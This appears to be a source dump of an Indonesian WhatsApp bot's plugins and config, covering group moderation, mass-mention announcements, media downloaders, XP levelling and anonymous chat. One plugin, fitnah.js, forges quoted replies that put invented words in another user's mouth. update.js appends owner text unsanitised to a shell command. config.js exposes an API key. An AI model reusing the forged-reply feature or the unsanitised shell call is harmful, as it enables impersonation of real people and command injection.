-------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | let [ l, r ] = text.split`|` 3 | if (!l) l = '' 4 | if (!r) r = '' 5 | conn.reply(m.chat, l + readMore + r, m) 6 | } 7 | handler.help = ['readmore','spoiler'].map(v => v + ' |') 8 | handler.tags = ['tools'] 9 | handler.command = /^(spoiler|hidetext|readmore|selengkapnya)$/i 10 | handler.owner = false 11 | handler.mods = false 12 | handler.premium = false 13 | handler.group = false 14 | handler.private = false 15 | 16 | handler.admin = false 17 | handler.botAdmin = false 18 | 19 | handler.fail = null 20 | 21 | module.exports = handler 22 | 23 | const more = String.fromCharCode(8206) 24 | const readMore = more.repeat(4001) 25 | -------------------------------------------------------------------------------- /plugins/kick.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, args }) => { 2 | let ownerGroup = m.chat.split`-`[0] + '@s.whatsapp.net' 3 | let users = m.mentionedJid.filter(u => !(u == ownerGroup || u.includes(conn.user.jid))) 4 | for (let user of users) if (user.endsWith('@s.whatsapp.net')) await conn.groupRemove(m.chat, [user]) 5 | } 6 | handler.help = ['kick', '-'].map(v => v + ' @user') 7 | handler.tags = ['admin'] 8 | handler.command = /^(kick|\-)$/i 9 | handler.owner = false 10 | handler.mods = false 11 | handler.premium = false 12 | handler.group = true 13 | handler.private = false 14 | 15 | handler.admin = true 16 | handler.botAdmin = true 17 | 18 | handler.fail = null 19 | handler.limit = true 20 | 21 | module.exports = handler 22 | 23 | -------------------------------------------------------------------------------- /plugins/pengumuman.js: -------------------------------------------------------------------------------- 1 | let { MessageType } = require('@adiwajshing/baileys') 2 | 3 | let handler = async (m, { conn, text, participants }) => { 4 | let users = participants.map(u => u.jid) 5 | conn.reply(m.chat, text, m, { contextInfo: { mentionedJid: users } }) 6 | } 7 | handler.help = ['pengumuman','announce','hidetag'].map(v => v + ' [teks]') 8 | handler.tags = ['group'] 9 | handler.command = /^(pengumuman|announce|hiddentag|hidetag)$/i 10 | handler.owner = false 11 | handler.mods = false 12 | handler.premium = false 13 | handler.group = true 14 | handler.private = false 15 | 16 | handler.admin = true 17 | handler.botAdmin = false 18 | 19 | handler.fail = null 20 | handler.limit = true 21 | 22 | module.exports = handler 23 | 24 | -------------------------------------------------------------------------------- /lib/uploadImage.js: -------------------------------------------------------------------------------- 1 | const fetch = require('node-fetch') 2 | const FormData = require('form-data') 3 | const { fromBuffer } = require('file-type') 4 | 5 | /** 6 | * Upload image to telegra.ph 7 | * Supported mimetype: 8 | * - `image/jpeg` 9 | * - `image/jpg` 10 | * - `image/png`s 11 | * @param {Buffer} buffer Image Buffer 12 | */ 13 | module.exports = async buffer => { 14 | const { ext } = await fromBuffer(buffer) 15 | let form = new FormData 16 | form.append('file', buffer, 'tmp.' + ext) 17 | let res = await fetch('https://telegra.ph/upload', { 18 | method: 'POST', 19 | body: form 20 | }) 21 | let img = await res.json() 22 | if (img.error) throw img.error 23 | return 'https://telegra.ph' + img[0].src 24 | } 25 | 26 | -------------------------------------------------------------------------------- /plugins/daily.js: -------------------------------------------------------------------------------- 1 | const free = 500 2 | let handler = async (m) => { 3 | if (new Date - global.DATABASE._data.users[m.sender].lastclaim < 86400000) throw 'Anda sudah mengklaim klaim harian hari ini' 4 | global.DATABASE._data.users[m.sender].exp += free 5 | m.reply(`+${free} XP`) 6 | global.DATABASE._data.users[m.sender].lastclaim = new Date * 1 7 | } 8 | handler.help = ['daily', 'claim'] 9 | handler.tags = ['xp'] 10 | handler.command = /^(daily|claim)$/i 11 | handler.owner = false 12 | handler.mods = false 13 | handler.premium = false 14 | handler.group = false 15 | handler.private = false 16 | 17 | handler.admin = false 18 | handler.botAdmin = false 19 | 20 | handler.fail = null 21 | handler.exp = 0 22 | 23 | module.exports = handler 24 | 25 | -------------------------------------------------------------------------------- /plugins/opengumuman.js: -------------------------------------------------------------------------------- 1 | let { MessageType } = require('@adiwajshing/baileys') 2 | 3 | let handler = async (m, { conn, text }) => { 4 | let users = (await conn.groupMetadata(m.chat)).participants.map(u => u.jid) 5 | conn.sendMessage(m.chat, text, MessageType.extendedText, { contextInfo: { mentionedJid: users } }) 6 | } 7 | handler.help = ['pengumuman','hidetag'].map(v => 'o' + v + ' [teks]') 8 | handler.tags = ['owner'] 9 | handler.command = /^(opengumuman|oannounce|ohiddentag|ohidetag)$/i 10 | handler.owner = true 11 | handler.mods = false 12 | handler.premium = false 13 | handler.group = true 14 | handler.private = false 15 | 16 | handler.admin = false 17 | handler.botAdmin = false 18 | 19 | handler.fail = null 20 | 21 | module.exports = handler 22 | -------------------------------------------------------------------------------- /plugins/wallpaperAnime.js: -------------------------------------------------------------------------------- 1 | const { MessageType } = require('@adiwajshing/baileys') 2 | const fetch = require('node-fetch') 3 | 4 | let handler = async (m, { conn }) => { 5 | try { 6 | let res = await fetch(global.API('xteam', '/randomimage/wpmobile', {}, 'APIKEY')) 7 | let img = await res.buffer() 8 | conn.sendMessage(m.chat, img, MessageType.image, { 9 | quoted: m, caption: '*© Astrobot*' 10 | }) 11 | } catch (e) { 12 | console.log(e) 13 | throw '_*Owner belum membayar tagihan fitur ini*_' 14 | } 15 | } 16 | handler.help = ['wallpaperanime'] 17 | handler.tags = ['internet'] 18 | handler.command = /^(wallpaper|wp)anime$/i 19 | handler.limit = true 20 | 21 | module.exports = handler 22 | -------------------------------------------------------------------------------- /plugins/online.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, args }) => { 2 | let id = args && /\d+\-\d+@g.us/.test(args[0]) ? args[0] : m.chat 3 | let online = [...Object.keys(conn.chats.get(id).presences), conn.user.jid] 4 | conn.reply(m.chat, 'List Online:\n' + online.map(v => '- @' + v.replace(/@.+/, '')).join`\n`, m, { 5 | contextInfo: { mentionedJid: online } 6 | }) 7 | } 8 | handler.help = ['here','listonline'] 9 | handler.tags = ['group'] 10 | handler.command = /^(here|(list)?online)$/i 11 | handler.owner = false 12 | handler.mods = false 13 | handler.premium = false 14 | handler.group = true 15 | handler.private = false 16 | 17 | handler.admin = false 18 | handler.botAdmin = false 19 | 20 | handler.fail = null 21 | 22 | module.exports = handler 23 | 24 | -------------------------------------------------------------------------------- /test.js: -------------------------------------------------------------------------------- 1 | let fs = require('fs') 2 | let path = require('path') 3 | let assert = require('assert') 4 | let { spawn } = require('child_process') 5 | let folders = ['.', ...Object.keys(require('./package.json').directories)] 6 | let files = [] 7 | for (let folder of folders) 8 | for (let file of fs.readdirSync(folder).filter(v => v.endsWith('.js'))) 9 | files.push(path.resolve(path.join(folder, file))) 10 | for (let file of files) { 11 | if (file == path.join(__dirname, __filename)) continue 12 | console.error('Checking', file) 13 | spawn(process.argv0, ['-c', file]) 14 | .on('close', () => { 15 | assert.ok(file) 16 | console.log('Done', file) 17 | }) 18 | .stderr.on('data', chunk => assert.ok(chunk.length < 1, file + '\n\n' + chunk)) 19 | } 20 | -------------------------------------------------------------------------------- /plugins/_antispam.js: -------------------------------------------------------------------------------- 1 | let handler = m => m 2 | 3 | handler.all = async function (m) { 4 | this.spam = this.spam ? this.spam : {} 5 | if (m.sender in this.spam) { 6 | this.spam[m.sender].count++ 7 | if (m.messageTimestamp.toNumber() - this.spam[m.sender].lastspam > 10) { 8 | if (this.spam[m.sender].count > 10) { 9 | //global.DATABASE._data.users[m.sender].banned = true 10 | m.reply('*Jangan Spam!!*') 11 | } 12 | this.spam[m.sender].count = 0 13 | this.spam[m.sender].lastspam = m.messageTimestamp.toNumber() 14 | } 15 | } 16 | else this.spam[m.sender] = { 17 | jid: m.sender, 18 | count: 0, 19 | lastspam: 0 20 | } 21 | } 22 | 23 | module.exports = handler 24 | -------------------------------------------------------------------------------- /plugins/yts.js: -------------------------------------------------------------------------------- 1 | let yts = require('yt-search') 2 | let handler = async (m, { text }) => { 3 | if (!text) throw 'Cari apa?' 4 | let results = await yts(text) 5 | let teks = results.all.map(v => { 6 | switch (v.type) { 7 | case 'video': return ` 8 | *${v.title}* (${v.url}) 9 | Duration: ${v.timestamp} 10 | Uploaded ${v.ago} 11 | ${v.views} views 12 | `.trim() 13 | case 'channel': return ` 14 | *${v.name}* (${v.url}) 15 | _${v.subCountLabel} (${v.subCount}) Subscriber_ 16 | ${v.videoCount} video 17 | `.trim() 18 | } 19 | }).filter(v => v).join('\n========================\n') 20 | m.reply(teks) 21 | } 22 | handler.help = ['', 'earch'].map(v => 'yts' + v + ' ') 23 | handler.tags = ['tools'] 24 | handler.command = /^yts(earch)?$/i 25 | 26 | module.exports = handler 27 | -------------------------------------------------------------------------------- /plugins/debounce.js: -------------------------------------------------------------------------------- 1 | let { spawn } = require('child_process'); 2 | let handler = async (m, { conn }) => { 3 | if (!process.send) throw 'Dont: node main.js\nDo: node index.js' 4 | if (global.conn.user.jid == conn.user.jid) { 5 | await m.reply('Sedang Mereset Bot...\nMohon tunggu sekitar 1 menit') 6 | await global.DATABASE.save() 7 | process.send('reset') 8 | } else throw '_eeeeeiiittsssss..._' 9 | } 10 | handler.help = ['debounce' + (process.send ? '' : ' (Not working)')] 11 | handler.tags = ['host'] 12 | handler.command = /^debounce$/i 13 | handler.owner = true 14 | handler.mods = false 15 | handler.premium = false 16 | handler.group = false 17 | handler.private = false 18 | 19 | handler.admin = false 20 | handler.botAdmin = false 21 | 22 | handler.fail = null 23 | 24 | module.exports = handler 25 | 26 | -------------------------------------------------------------------------------- /plugins/ighightlight.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { conn, args }) => { 3 | if (!args[0]) throw 'Uhm...url nya mana?' 4 | let res = await fetch(global.API('xteam', '/dl/ighighlight', { 5 | nama: args[0] 6 | }, 'APIKEY')) 7 | let json = await res.json() 8 | if (json.result.error) throw json.result.message 9 | let { username, items } = json.result 10 | for (let { thumbnail, isVideo, url } of items) { 11 | thumbnail = await (await fetch(thumbnail)).buffer() 12 | conn.sendFile(m.chat, url, 'ig' + (isVideo ? '.mp4' : '.jpg'), `@${username}`, m, false, { 13 | thumbnail 14 | }) 15 | } 16 | } 17 | handler.help = ['ighighlight'].map(v => v + ' ') 18 | handler.tags = ['downloader'] 19 | 20 | handler.command = /^(ighighlight?)$/i 21 | 22 | module.exports = handler 23 | -------------------------------------------------------------------------------- /plugins/report.js: -------------------------------------------------------------------------------- 1 | // By RC047 :V 2 | 3 | let handler = async(m, { conn, text }) => { 4 | if (!text) throw 'Silahkan masukkan laporan' 5 | if (text.length > 300) throw 'Maaf Teks Terlalu Panjang, Maksimal 300 Teks!' 6 | const laporan = `*「 REPORT 」*\nNomor : wa.me/${m.sender.split`@`[0]}\nPesan : ${text}` 7 | for (let jid of global.owner.map(v => v.replace(/[^0-9]/g, '') + '@s.whatsapp.net').filter(v => v != conn.user.jid && v != '6281515860089@s.whatsapp.net')) 8 | m.reply(laporan, jid) 9 | m.reply(laporan, m.sender) // Mwehehehehe 10 | m.reply('✔️Masalah telah di laporkan ke Owner Bot, laporan palsu/main2 tidak akan ditanggapi!') 11 | } 12 | handler.help = ['bug', 'report'].map(v => v + ' ') 13 | handler.tags = ['info'] 14 | handler.command = /^(bug|report)$/i 15 | 16 | module.exports = handler 17 | -------------------------------------------------------------------------------- /plugins/update.js: -------------------------------------------------------------------------------- 1 | let { execSync } = require('child_process') 2 | let handler = async (m, { conn, text, isROwner }) => { 3 | if (global.conn.user.jid == conn.user.jid) { 4 | let stdout = execSync('git remote set-url origin https://github.com/Nurutomo/wabot-aq.git && git pull' + (isROwner && text ? ' ' + text : '')) 5 | if (isROwner) require('fs').readdirSync('plugins').map(v => global.reload('', v)) 6 | m.reply(stdout.toString()) 7 | } 8 | } 9 | handler.help = ['update'] 10 | handler.tags = ['host'] 11 | handler.command = /^update$/i 12 | handler.owner = false 13 | handler.mods = false 14 | handler.premium = false 15 | handler.group = false 16 | handler.private = false 17 | 18 | handler.admin = false 19 | handler.botAdmin = false 20 | 21 | handler.fail = null 22 | handler.exp = 0 23 | 24 | module.exports = handler 25 | 26 | -------------------------------------------------------------------------------- /plugins/_anonymous_chat.js: -------------------------------------------------------------------------------- 1 | let handler = m => m 2 | 3 | handler.before = async function (m, { match }) { 4 | // if (match) return !1 5 | if (!m.chat.endsWith('@s.whatsapp.net')) return !0 6 | this.anonymous = this.anonymous ? this.anonymous : {} 7 | let room = Object.values(this.anonymous).find(room => [room.a, room.b].includes(m.sender) && room.state === 'CHATTING') 8 | if (room) { 9 | let other = [room.a, room.b].find(user => user !== m.sender) 10 | m.copyNForward(other, true, m.quoted && m.quoted.fromMe ? { 11 | contextInfo: { 12 | ...m.msg.contextInfo, 13 | forwardingScore: 1, 14 | isForwarded: true, 15 | participant: other 16 | } 17 | } : {}) 18 | } 19 | return !0 20 | } 21 | 22 | module.exports = handler -------------------------------------------------------------------------------- /plugins/apakah2.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, command, text }) => { 2 | conn.reply(m.chat, ` 3 | *Pertanyaan:* ${command} ${text} 4 | *Jawaban:* ${pickRandom(['Ya','Mungkin iya','Mungkin','Mungkin tidak','Tidak','Tidak mungkin'])} 5 | `.trim(), m, m.mentionedJid ? { 6 | contextInfo: { 7 | mentionedJid: m.mentionedJid 8 | } 9 | } : {}) 10 | } 11 | handler.help = ['apakah '] 12 | handler.tags = ['kerang'] 13 | handler.command = /^apakah$/i 14 | handler.owner = false 15 | handler.mods = false 16 | handler.premium = false 17 | handler.group = false 18 | handler.private = false 19 | 20 | handler.admin = false 21 | handler.botAdmin = false 22 | 23 | handler.fail = null 24 | 25 | module.exports = handler 26 | 27 | function pickRandom(list) { 28 | return list[Math.floor(Math.random() * list.length)] 29 | } 30 | 31 | -------------------------------------------------------------------------------- /plugins/apakah.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | conn.reply(m.chat, ` 3 | *Pertanyaan:* ${m.text} 4 | *Jawaban:* ${pickRandom(['Ya','Mungkin iya','Mungkin','Mungkin tidak','Tidak','Tidak mungkin'])} 5 | `.trim(), m, m.mentionedJid ? { 6 | contextInfo: { 7 | mentionedJid: m.mentionedJid 8 | } 9 | } : {}) 10 | } 11 | handler.help = ['apakah ?'] 12 | handler.tags = ['kerang'] 13 | handler.customPrefix = /(\?$)/ 14 | handler.command = /^apakah$/i 15 | handler.owner = false 16 | handler.mods = false 17 | handler.premium = false 18 | handler.group = false 19 | handler.private = false 20 | 21 | handler.admin = false 22 | handler.botAdmin = false 23 | 24 | handler.fail = null 25 | 26 | module.exports = handler 27 | 28 | function pickRandom(list) { 29 | return list[Math.floor(Math.random() * list.length)] 30 | } 31 | 32 | -------------------------------------------------------------------------------- /plugins/ssweb.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { conn, command, args }) => { 3 | let full = /f$/i.test(command) 4 | if (!args[0]) return conn.reply(m.chat, 'Tidak ada url', m) 5 | let url = /https?:\/\//.test(args[0]) ? args[0] : 'https://' + args[0] 6 | let ss = await (await fetch(global.API('nrtm', '/api/ssweb', { delay: 1000, url, full }))).buffer() 7 | conn.sendFile(m.chat, ss, 'screenshot.png', url, m) 8 | } 9 | handler.help = ['ss', 'ssf'].map(v => v + ' ') 10 | handler.tags = ['internet'] 11 | handler.command = /^ss(web)?f?$/i 12 | handler.owner = false 13 | handler.mods = false 14 | handler.premium = false 15 | handler.group = false 16 | handler.private = false 17 | 18 | handler.admin = false 19 | handler.botAdmin = false 20 | 21 | handler.fail = null 22 | 23 | module.exports = handler 24 | 25 | -------------------------------------------------------------------------------- /plugins/levelup.js: -------------------------------------------------------------------------------- 1 | let levelling = require('../lib/levelling') 2 | 3 | let handler = m => { 4 | let user = global.DATABASE.data.users[m.sender] 5 | if (!levelling.canLevelUp(user.level, user.exp, global.multiplier)) { 6 | let { min, xp, max } = levelling.xpRange(user.level, global.multiplier) 7 | throw ` 8 | Level *${user.level} (${user.exp - min}/${xp})* 9 | Kurang *${max - user.exp}* lagi! 10 | `.trim() 11 | } 12 | let before = user.level * 1 13 | while (levelling.canLevelUp(user.level, user.exp, global.multiplier)) user.level++ 14 | if (before !== user.level) m.reply(` 15 | Selamat, anda telah naik level! 16 | *${before}* -> *${user.level}* 17 | gunakan *.profile* untuk mengecek 18 | `.trim()) 19 | } 20 | 21 | handler.help = ['levelup'] 22 | handler.tags = ['xp'] 23 | 24 | handler.command = /^levelup$/i 25 | 26 | module.exports = handler -------------------------------------------------------------------------------- /plugins/wm.js: -------------------------------------------------------------------------------- 1 | const { MessageType } = require('@adiwajshing/baileys') 2 | const { sticker } = require('../lib/sticker') 3 | let handler = async (m, { conn, text }) => { 4 | let stiker = false 5 | try { 6 | let [packname, ...author] = text.split('|') 7 | author = (author || []).join('|') 8 | let mime = m.quoted.mimetype || '' 9 | if (!/webp/.test(mime)) throw 'Reply sticker!' 10 | let img = await m.quoted.download() 11 | stiker = await sticker(img, false, packname || global.packname, author || global.author) 12 | } finally { 13 | if (stiker) conn.sendMessage(m.chat, stiker, MessageType.sticker, { 14 | quoted: m 15 | }) 16 | else throw 'Conversion failed' 17 | } 18 | } 19 | handler.help = ['wm |'] 20 | handler.tags = ['sticker'] 21 | handler.command = /^wm$/i 22 | 23 | module.exports = handler 24 | -------------------------------------------------------------------------------- /plugins/template.js: -------------------------------------------------------------------------------- 1 | async function handler(m, { conn, text, args }) { 2 | m.reply('@' + m.sender.split('@')[0], false, { 3 | contextInfo: { 4 | mentionedJid: [m.sender] 5 | } 6 | }) 7 | } 8 | 9 | // this is chat-update 10 | // handler.all = function (m, chatUpdate) { 11 | // 12 | // } 13 | 14 | // this is executed before normal handler 15 | // handler.before = function (m) { 16 | // 17 | // } 18 | 19 | // handler.help = [''].map(v => v + ' <>') 20 | // handler.tags = [''] 21 | handler.command = ['tagme'] 22 | // handler.owner = false 23 | // handler.mods = false 24 | // handler.premium = false 25 | // handler.group = false 26 | // handler.private = false 27 | 28 | // handler.admin = false 29 | // handler.botAdmin = false 30 | 31 | // handler.fail = null 32 | // handler.exp = 0 33 | 34 | handler.disabled = true 35 | 36 | module.exports = handler 37 | -------------------------------------------------------------------------------- /plugins/ig.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { conn, args }) => { 3 | if (!args[0]) throw 'Uhm...url nya mana?' 4 | let res = await fetch(global.API('xteam', '/dl/ig', { 5 | url: args[0] 6 | }, 'APIKEY')) 7 | if (res.status !== 200) { 8 | res.text() 9 | throw res.status 10 | } 11 | let json = await res.json() 12 | if (!json.result) throw json 13 | let { name, username, likes, caption, data } = json.result 14 | let text = ` 15 | Username: ${name} *(@${username})* 16 | ${likes} Likes 17 | Caption: 18 | ${caption} 19 | `.trim() 20 | for (let { data: url, type } of data) 21 | conn.sendFile(m.chat, url, 'ig' + (type == 'video' ? '.mp4' : '.jpg'), text, m) 22 | } 23 | handler.help = ['ig'].map(v => v + ' ') 24 | handler.tags = ['downloader'] 25 | 26 | handler.command = /^(ig(dl)?)$/i 27 | 28 | module.exports = handler 29 | -------------------------------------------------------------------------------- /plugins/textpro.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let split = '|' 3 | let handler = async (m, { conn, args: [effect], text: txt }) => { 4 | let { effects } = await (await (fetch(global.API('xteam', '/textpro')))).json() 5 | if (!effect) throw '*List Effect*\n\n' + effects.sort((a, b) => a - b).join('\n') 6 | effect = effect.toLowerCase() 7 | if (!effect in effects) throw `Efek *${effect}* tidak ditemukan` 8 | let [text, ...text2] = txt.replace(effect, '').trimStart().split(split) 9 | text2 = text2.join(split) 10 | let url = global.API('xteam', '/textpro/' + effect, { text, text2 }, 'APIKEY') 11 | await conn.sendFile(m.chat, url, 'textpro.jpg', `*TEXTPRO*\n*Effect:* ${effect}`, m) 12 | } 13 | handler.help = ['textpro'].map(v => v + ' |[text2]') 14 | handler.tags = ['tools'] 15 | handler.command = /^(textpro)$/i 16 | 17 | module.exports = handler 18 | 19 | -------------------------------------------------------------------------------- /plugins/caripesan.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | if (!text) throw 'masukan pesan yg mo dicari!' 3 | let split = text.split`|` 4 | let result = await conn.searchMessages(split[0], m.chat, split[1], 1) 5 | if (result.messages.length > 0) { 6 | let total = result.messages.length 7 | let sp = total < Number(split[1]) ? `Hanya ditemukan ${total} pesan ngab` : `Ditemukan ${total} pesan` 8 | m.reply(sp) 9 | 10 | result.messages.map( async ({ key }) => { 11 | let { remoteJid: _remoteJid, id: _ids } = key 12 | let _message = await conn.loadMessage(_remoteJid, _ids) 13 | conn.reply(m.chat, 'Nih pesannya', _message) 14 | }) 15 | } 16 | } 17 | 18 | handler.help = ['caripesan |'] 19 | handler.tags = ['tools'] 20 | 21 | handler.command = /^caripesan/i 22 | 23 | module.exports = handler 24 | -------------------------------------------------------------------------------- /plugins/fitnah.js: -------------------------------------------------------------------------------- 1 | let { MessageType } = require('@adiwajshing/baileys') 2 | let handler = async (m, { conn, text }) => { 3 | if (!text) return 4 | let cm = copy(m) 5 | let who 6 | if (text.includes('@0')) who = '0@s.whatsapp.net' 7 | else if (m.isGroup) who = cm.participant = m.mentionedJid[0] 8 | else who = m.chat 9 | if (!who) throw 'Tag salah satu lah' 10 | cm.key.fromMe = false 11 | cm.message[m.mtype] = copy(m.msg) 12 | let sp = '@' + who.split`@`[0] 13 | let [fake, ...real] = text.split(sp) 14 | conn.fakeReply(m.chat, real.join(sp).trimStart(), who, fake.trimEnd(), m.isGroup ? m.chat : false, { 15 | contextInfo: { 16 | mentionedJid: conn.parseMention(real.join(sp).trim()) 17 | } 18 | }) 19 | } 20 | handler.command = /^(fitnah|fakereply)$/ 21 | 22 | module.exports = handler 23 | 24 | function copy(obj) { 25 | return JSON.parse(JSON.stringify(obj)) 26 | } 27 | -------------------------------------------------------------------------------- /plugins/addmsg.js: -------------------------------------------------------------------------------- 1 | let { WAMessageProto } = require('@adiwajshing/baileys') 2 | let handler = async (m, { command, usedPrefix, text }) => { 3 | let M = WAMessageProto.WebMessageInfo 4 | let which = command.replace(/add/i, '') 5 | if (!m.quoted) throw 'Reply Pesan!' 6 | if (!text) throw `Gunakan *${usedPrefix}list${which}* untuk melihat list nya` 7 | let msgs = global.DATABASE._data.msgs 8 | if (text in msgs) throw `'${text}' telah terdaftar di list pesan` 9 | msgs[text] = M.fromObject(await m.getQuotedObj()).toJSON() 10 | m.reply(`Berhasil menambahkan pesan di list pesan sebagai '${text}' 11 | 12 | Akses dengan ${usedPrefix}get${which} ${text}`) 13 | } 14 | handler.help = ['vn', 'msg', 'video', 'audio', 'img', 'sticker'].map(v => 'add' + v + ' ') 15 | handler.tags = ['database'] 16 | handler.command = /^add(vn|msg|video|audio|img|sticker)$/ 17 | 18 | module.exports = handler -------------------------------------------------------------------------------- /config.js: -------------------------------------------------------------------------------- 1 | global.owner = ['6281515860089','6281334177340'] // Put your number here 2 | global.mods = [] // Want some help? 3 | global.prems = [] // Premium user has unlimited limit 4 | global.APIs = { // API Prefix 5 | // name: 'https://website' 6 | nrtm: 'https://nurutomo.herokuapp.com', 7 | xteam: 'https://api.xteam.xyz' 8 | } 9 | global.APIKeys = { // APIKey Here 10 | // 'https://website': 'apikey' 11 | 'https://api.xteam.xyz': 'd90a9e986e18778b' 12 | } 13 | 14 | // Sticker WM 15 | global.packname = 'I hope you\'re fine' 16 | global.author = 'Nurutomo' 17 | 18 | global.multiplier = 69 // The higher, The harder levelup 19 | 20 | let fs = require('fs') 21 | let chalk = require('chalk') 22 | let file = require.resolve(__filename) 23 | fs.watchFile(file, () => { 24 | fs.unwatchFile(file) 25 | console.log(chalk.redBright("Update 'config.js'")) 26 | delete require.cache[file] 27 | require(file) 28 | }) 29 | -------------------------------------------------------------------------------- /plugins/enphoto360.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let split = '|' 3 | let handler = async (m, { conn, args: [effect], text: txt }) => { 4 | let { effects } = await (await (fetch(global.API('xteam', '/ephoto')))).json() 5 | if (!effect) throw '*List Effect*\n\n' + effects.sort((a, b) => a - b).join('\n') 6 | effect = effect.toLowerCase() 7 | if (!effect in effects) throw `Efek *${effect}* tidak ditemukan` 8 | let [text, text2, ...text3] = txt.replace(effect, '').trimStart().split(split) 9 | text3 = text3.join(split) 10 | let url = global.API('xteam', '/ephoto/' + effect, { text, text2, text3 }, 'APIKEY') 11 | await conn.sendFile(m.chat, url, 'ephoto.jpg', `*ENPHOTO360*\n*Effect:* ${effect}`, m) 12 | } 13 | handler.help = ['enphoto'].map(v => v + ' |[text2]|[text3]') 14 | handler.tags = ['tools'] 15 | handler.command = /^(en?photo(360)?)$/i 16 | 17 | module.exports = handler 18 | 19 | -------------------------------------------------------------------------------- /plugins/kapankah2.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, command, text }) => { 2 | conn.reply(m.chat, ` 3 | *Pertanyaan:* ${command} ${text} 4 | *Jawaban:* ${Math.floor(Math.random() * 10)} ${pickRandom(['detik', 'menit', 'jam', 'hari', 'minggu', 'bulan', 'tahun', 'dekade', 'abad'])} lagi ... 5 | `.trim(), m, m.mentionedJid ? { 6 | contextInfo: { 7 | mentionedJid: m.mentionedJid 8 | } 9 | } : {}) 10 | } 11 | handler.help = ['', 'kah'].map(v => 'kapan' + v + ' ') 12 | handler.tags = ['kerang'] 13 | handler.command = /^kapan(kah)?$/i 14 | handler.owner = false 15 | handler.mods = false 16 | handler.premium = false 17 | handler.group = false 18 | handler.private = false 19 | 20 | handler.admin = false 21 | handler.botAdmin = false 22 | 23 | handler.fail = null 24 | 25 | module.exports = handler 26 | 27 | function pickRandom(list) { 28 | return list[Math.floor(Math.random() * list.length)] 29 | } 30 | 31 | -------------------------------------------------------------------------------- /plugins/kapankah.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | conn.reply(m.chat, ` 3 | *Pertanyaan:* ${m.text} 4 | *Jawaban:* ${Math.floor(Math.random() * 10)} ${pickRandom(['detik', 'menit', 'jam', 'hari', 'minggu', 'bulan', 'tahun', 'dekade', 'abad'])} lagi ... 5 | `.trim(), m, m.mentionedJid ? { 6 | contextInfo: { 7 | mentionedJid: m.mentionedJid 8 | } 9 | } : {}) 10 | } 11 | handler.help = ['', 'kah'].map(v => 'kapan' + v + ' ?') 12 | handler.tags = ['kerang'] 13 | handler.customPrefix = /(\?$)/ 14 | handler.command = /^kapan(kah)?$/i 15 | handler.owner = false 16 | handler.mods = false 17 | handler.premium = false 18 | handler.group = false 19 | handler.private = false 20 | 21 | handler.admin = false 22 | handler.botAdmin = false 23 | 24 | handler.fail = null 25 | 26 | module.exports = handler 27 | 28 | function pickRandom(list) { 29 | return list[Math.floor(Math.random() * list.length)] 30 | } 31 | 32 | -------------------------------------------------------------------------------- /plugins/tahta2.js: -------------------------------------------------------------------------------- 1 | let util = require('util') 2 | let path = require('path') 3 | let { spawn } = require('child_process') 4 | 5 | // HartA tahta Xteam 6 | let handler = async (m, { conn, text }) => { 7 | let d = new Date 8 | let tgl = d.toLocaleDateString('id-Id') 9 | let hari = d.toLocaleDateString('id-Id', { weekday: 'long' }) 10 | text, 11 | await conn.sendFile(m.chat, global.API('xteam', '/tahta', { text, }, 'APIKEY'), 'Harta Tahta.png', 'Nih udah jadi Harta tahtamu...\n *_Tetap Support:_* *Drawl Nag*', m) 12 | } 13 | handler.help = ['tahta2'].map(v => v + '') 14 | handler.tags = ['nulis'] 15 | handler.command = /^tahta2$/i 16 | handler.owner = false 17 | handler.mods = false 18 | handler.premium = false 19 | handler.group = true 20 | handler.private = false 21 | 22 | handler.admin = false 23 | handler.botAdmin = false 24 | 25 | handler.fail = null 26 | handler.register = true 27 | 28 | module.exports = handler 29 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Describe the bug** 11 | A clear and concise description of what the bug is. 12 | 13 | **To Reproduce** 14 | Steps to reproduce the behavior: 15 | 1. Go to '...' 16 | 2. Click on '....' 17 | 3. Scroll down to '....' 18 | 4. See error 19 | 20 | **Expected behavior** 21 | A clear and concise description of what you expected to happen. 22 | 23 | **Screenshots** 24 | If applicable, add screenshots to help explain your problem. 25 | 26 | **Desktop (please complete the following information):** 27 | - Browser [e.g. chrome, safari] 28 | - Version [e.g. 22] 29 | 30 | **Smartphone (please complete the following information):** 31 | - Device: [e.g. iPhone6] 32 | - OS: [e.g. iOS8.1] 33 | - Version [e.g. 22] 34 | 35 | **Additional context** 36 | Add any other context about the problem here. 37 | -------------------------------------------------------------------------------- /plugins/Grup-seting.js: -------------------------------------------------------------------------------- 1 | let { Presence, GroupSettingChange } = require('@adiwajshing/baileys') 2 | let handler = async (m, { conn, args, usedPrefix, command }) => { 3 | let isClose = { // Switch Case Like :v 4 | 'open': false, 5 | 'close': true, 6 | }[(args[0] || '')] 7 | await conn.updatePresence(m.chat, Presence.composing) 8 | if (isClose === undefined) 9 | throw ` 10 | *Format salah! Contoh :* 11 | 12 | *○ ${usedPrefix + command} close* 13 | *○ ${usedPrefix + command} open* 14 | `.trim() 15 | await conn.groupSettingChange(m.chat, GroupSettingChange.messageSend, isClose) 16 | } 17 | handler.help = ['group *open / close*'] 18 | handler.tags = ['group'] 19 | handler.command = /^(group)$/i 20 | handler.owner = false 21 | handler.mods = false 22 | handler.premium = false 23 | handler.group = false 24 | handler.private = false 25 | handler.admin = true 26 | handler.botAdmin = true 27 | handler.fail = null 28 | handler.exp = 0 29 | module.exports = handler 30 | -------------------------------------------------------------------------------- /plugins/quotemaker.js: -------------------------------------------------------------------------------- 1 